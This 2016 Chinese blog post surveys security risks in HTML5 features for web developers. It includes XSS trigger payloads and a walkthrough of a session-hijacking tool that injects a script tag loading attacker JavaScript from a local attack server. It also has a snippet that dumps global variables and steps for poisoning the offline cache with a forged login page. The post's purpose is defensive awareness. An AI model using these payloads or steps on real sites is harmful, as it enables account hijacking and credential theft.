HTML5安全

自娛發表於2016-04-06

移動安全問題彙總:https://html5sec.org/

把應用的端擴充套件到mobile自然而然會帶來安全的隱患,特別是對於我們基於HTML5來做跨平臺的開發更是如此。HTML5提供了很多特性,各個平臺都在努力的實現這些特性,開發者也努力地在使用這些特性,以此求得不一樣地體驗。然而,事情都有兩面性,大多數web應用的安全措施都是基於傳統的HTML,沒有覆蓋到HTML5的新特性,下面來看看由於HTML5新特性而帶來的安全隱患:

  • XSS
  • CORS & CSRF
  • Clickjacking
  • Web storage
  • WebSocket
  • Desktop Notifications
  • Geolocation
  • Offline
  • Web worker

1)XSS

XSS(跨站指令碼攻擊)這裡不想全面介紹,這是web安全中最基礎的一個問題,大多數web應用都會做XSS防範。HTML5的新特性裡提供了很多執行JS的觸發點,比如下面幾個例子:

  • <video><source onerror=”javascript:alert(1)“>
  • <input autofocus onfocus=alert(1)>
  • <form id=”test” /><button form=”test” formaction=”javascript:alert(1)”>

這些都給攻擊者植入指令碼帶來了新機會。因此,大家有必要把自己應用裡XSS防範措施再好好審查一下,有個哥們總結了一下基於HTML5可以做XSS的點,http://code.google.com/p/html5security/,大家可以參考一下。

web攻擊大多數都是組合拳,XSS是很多組合拳中必要的一步,因此,攔住了XSS,也就攔住了大半web攻擊,值得大家重視。

2)CORS & CSRF

HTML5之前有SOP(Same Origin Policy)的規範,也就是ajax不能跨域訪問,這個玩意導致很多web開發者很痛苦,以至於搞出很多跨域方案,比如JSONP和flash socket。HTML5給大家提供了方便,搞出了一個CORS(Cross Origin Resource Sharing)規範,也就是說在如果在服務端加上Access-Control-Allow-Origin: xxx,也就表示此服務端容許來自xxx的跨域訪問,這確實很方便,不過也方便了攻擊者使受害者客戶端與自己的服務端產生雙向通訊,以至更方便植入更多東西,比如模擬請求來搞CSRF。下面是一個CORS攻擊的流程圖:

首先通過XSS等方法來導致受害者的客戶端向你的伺服器傳送Ajax請求,只要你的返回的head裡Access-Control-Allow-Origin包含當前客戶端的訪問的域名,你就可以對客戶端返回,然後,你就可以把你想要客戶端執行的操作返回給客戶端,使其執行,這樣你就可以以受害者的身份做你想做的事情。http://www.andlabs.org/tools/sotf/sotf.html這篇文章裡介紹了一個方便實施CORS攻擊的工具,通過使用這個工具,能更直觀感受攻擊的全過程:

1. 下載並啟動attacker server

2. 在受攻擊的網站裡植入指令碼,這裡使用了一個demo網站,並直接在seach裡搜尋:<script src=”http://127.0.0.1:8080/e2.js”></script>,值其載入e2.js並執行

3. 啟動攻擊console(http://127.0.0.1:8080/sotf.console,注意8080是第一步裡配置的,並且此瀏覽器需要把代理設定為127.0.0.1:1337,1337也是第一步裡配置的):

點選‘Hijack Session’後顯示受害者正在訪問的網站:

這時你就成功的掛住了受害者,你可以向受害者傳送你想做的操作,比如,你隨意點選左邊的連結,你在受害者的瀏覽器的http請求裡能看到,瀏覽器在悄悄地重放你在console裡訪問頁面的請求:

大致看看e2.js原始碼也能看出大致的流程。這是很不錯的學習案例。

3)Clickjacking

Clickjacking也是一種比較傳統的攻擊方法,也就是通過對頁面的修改欺騙使用者的眼睛,使其做了不想做的事兒,比如點選下面的圖片:

而實際上此頁面上面還附有一個隱藏的iframe:

使得你無意識地到amazon上買了東西。這種攻擊其實是很難完成的,一是很難誘導使用者填寫一些值,二是由於SOP的限制iframe裡指令碼的行為,但HTML5的新特性又方便了實施Clickjacking。https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf詳細地介紹瞭如何基於drag特性來實施Clickjacking。

4)Web storage

HTML5提供了local storage能力,比如localstorage API和web database,如果把關鍵資訊存在local storage裡,就有被竊取的可能。雖然HTML5的規範裡規定local storage只能被同域訪問,但通過XSS和Domain Name System (DNS) cache poisoning等方法就能繞開這個限制。所以不能把關鍵資訊不做任何保護的形式放在local storage裡。另外,有些開發者也習慣把一些關鍵資訊放在global變數裡,比如登入密碼等,這些變數也是有被洩漏的可能,比如下面這段程式碼就能遍歷所有global變數:

 

[javascript] view plaincopy
 
  1. for(i in window){  
  2. obj=window[i];  
  3. if(obj!=null||obj!=undefined)  
  4. var type = typeof(obj);  
  5. if(type==“object”||type==“string”)  
  6. {  
  7. console.log(“Name:”+i)  
  8. try{  
  9. my=JSON.stringify(obj);  
  10. console.log(my)  
  11. }catch(ex){}  
  12. }  
  13. 以此完全可以通過XSS來執行上面類似的程式碼。

    5) WebSocket

    WebSocket是HTML5非常受人關注的特性,它提供了客戶端與服務端的雙向通訊能力,這也暴露了一些安全隱患,比如:

  14. 暴露成後門,成為攻擊者植入指令碼的shell
  15. 通過客戶端做埠掃描

http://www.andlabs.org/tools/jsrecon.html是一個基於WebSocket的埠掃描器,從中可以體會到如何websocket來進行攻擊。

6)Desktop Notifications

Desktop Notifications是HTML5在右下角彈出本地訊息的能力,如下圖所示:

這種本地訊息極其容易誘惑使用者去點選,所以通過這種形式,能很容易誘導使用者洩漏關鍵資訊,比如:

7)Geolocation

Geolocation使得web應用能拿到客戶端地理資訊,也導致攻擊者可以竊取使用者的地理資訊,有了地理資訊就可以做很多事情,比如:

  • 傳送本地化的廣告
  • 跟蹤
  • 售賣個人資訊

8)Offline

Offline是HTML5提供的快取靜態資源的能力,通過以下配置:

 

[plain] view plaincopy
 
  1. CACHE MANIFEST  
  2. /file1.html  
  3. /images/someImage.jpg  
  4. /JavaScript/script1.js  

就可以快取這三個檔案,下次就直接在本地訪問。這種方式也有安全隱患,比如下面的步驟:

 

  1. 在有無密碼保護的wifi的環境中(比如咖啡廳)裡,擷取網路通訊,偽造頁面返回,比如login.html
  2. 把login.html作為cache快取起來
  3. 使用者在將來就算離開wifi環境下依然訪問的是你偽造的login.html,從而一直受你的控制

9)Web worker

Web worker是HTML5提供的多執行緒任務的能力,這使得攻擊者可以執行一些需要長時間執行的指令碼,並且是background的,可以神不知鬼不覺。

從上面這些例子可以看出,HTML5的各種新特性確實是雙刃劍,安全隱患不止這麼一些,我們對於這些新特性的應用,需要多深層次的想想,看看有沒有安全隱患。